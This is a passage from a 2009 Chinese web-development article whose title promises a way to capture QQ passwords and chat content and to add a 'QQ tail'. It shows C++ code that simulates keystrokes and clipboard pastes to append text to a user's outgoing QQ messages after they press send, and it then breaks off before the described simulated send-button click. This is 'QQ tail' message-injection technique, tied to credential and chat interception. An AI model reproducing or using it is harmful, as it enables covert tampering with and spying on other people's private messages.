如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴
2009-02-21 19:59:56 来源:WEB开发网在获取到聊天内容后,还可以用模拟键盘的方式将QQ尾巴信息加到要发送的文字后面,如下代码所示:
CString CQQMate::AddQQTailText ()
{
HwDbgLog ( L_DEBUG, _T("----------------------------- AddQQTailText()") );
int nSleepTime = 100;
CString csQQTail;
// 将“消息模式”的聊天窗口透明化隐藏起来
if ( m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_MESSAGEMODE )
{
// TransparentWindow ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow, 0 );
::ShowWindow ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow, SW_RESTORE );
}
// 增加QQ尾巴内容
int nQQTailPos = -1;
csQQTail = GetQQTailText ( m_pFindQQChatInfoPara_WillSendTextMsg->m_csQQPeerAccount );
if ( !csQQTail.IsEmpty() )
{
if ( m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_DISCUSSION )
csQQTail.Insert ( 0, _T("rn") );
CopyTextToClipboard ( csQQTail );
Sleep(nSleepTime);
if ( m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_DISCUSSION )
KeyboardCombineEvent ( VK_CONTROL, VK_END, '' );
else
KeyboardCombineEvent ( VK_CONTROL, 'A', '' );
Sleep(nSleepTime);
KeyboardCombineEvent ( VK_CONTROL, 'V', '' );
Sleep(nSleepTime);
}
HwDbgLog ( L_DEBUG, _T("QQ尾巴内容 = %s"), csQQTail );
return csQQTail;
}
由于我们是在用户做了发送操作(点“发送”按钮、按快捷键“Ctrl+Enter”、按快捷键“Alt+S”)之后才进行我们的处理,所以简单地将QQ尾巴信息加到发送框里是发送不出去的,所以我们必须在增加QQ尾巴信息完成后再向QQ聊天窗口发送一个“发送按钮”被点击的消息,如下代码所示:
更多精彩
赞助商链接